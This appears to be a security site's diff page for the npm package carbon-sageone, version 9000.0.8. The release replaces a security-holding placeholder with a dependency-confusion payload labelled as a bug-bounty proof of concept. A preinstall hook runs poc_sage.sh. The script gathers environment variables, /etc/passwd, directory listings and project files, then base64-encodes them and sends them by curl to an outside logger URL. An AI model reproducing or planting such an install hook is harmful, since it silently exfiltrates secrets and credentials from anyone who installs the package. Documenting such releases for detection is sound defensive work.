carbon-sageone 0.0.1-security → 9000.0.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of carbon-sageone might be problematic. Click here for more details.
- package/index.js +7 -0
- package/package.json +9 -3
- package/poc_sage.sh +21 -0
- package/README.md +0 -5
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "carbon-sageone",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9000.0.8",
|
4
|
+
"description": "H1 PoC @axfla",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "sh ./poc_sage.sh"
|
9
|
+
},
|
10
|
+
"author": "axfla",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/poc_sage.sh
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
echo "-- uname -a" >> output.txt
|
2
|
+
uname -a >> output.txt
|
3
|
+
echo "-- env" >> output.txt
|
4
|
+
env >> output.txt
|
5
|
+
echo "-- /etc/passwd" >> output.txt
|
6
|
+
cat /etc/passwd >> output.txt
|
7
|
+
echo "-- CURRENT FOLDER" >> output.txt
|
8
|
+
ls -al >> output.txt
|
9
|
+
echo "-- HOME FOLDER" >> output.txt
|
10
|
+
ls -al ~/ >> output.txt
|
11
|
+
echo "-- / FOLDER" >> output.txt
|
12
|
+
ls -al / >> output.txt
|
13
|
+
echo "-- docker-entrypoint.sh" >> output.txt
|
14
|
+
cat ../../docker-entrypoint.sh >> output.txt
|
15
|
+
echo "-- Cargo.toml" >> output.txt
|
16
|
+
cat ../../Cargo.toml >> output.txt
|
17
|
+
echo "-- package.json" >> output.txt
|
18
|
+
cat ../../package.json >> output.txt
|
19
|
+
echo "-- npm.sh" >> output.txt
|
20
|
+
cat ../../npm.sh >> output.txt
|
21
|
+
curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(id | base64)" -H "Pwd: $(pwd | base64)" -d "$(cat output.txt | base64)" "https://d7.lc/sage_h1/logger.php"
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=carbon-sageone for more information.
|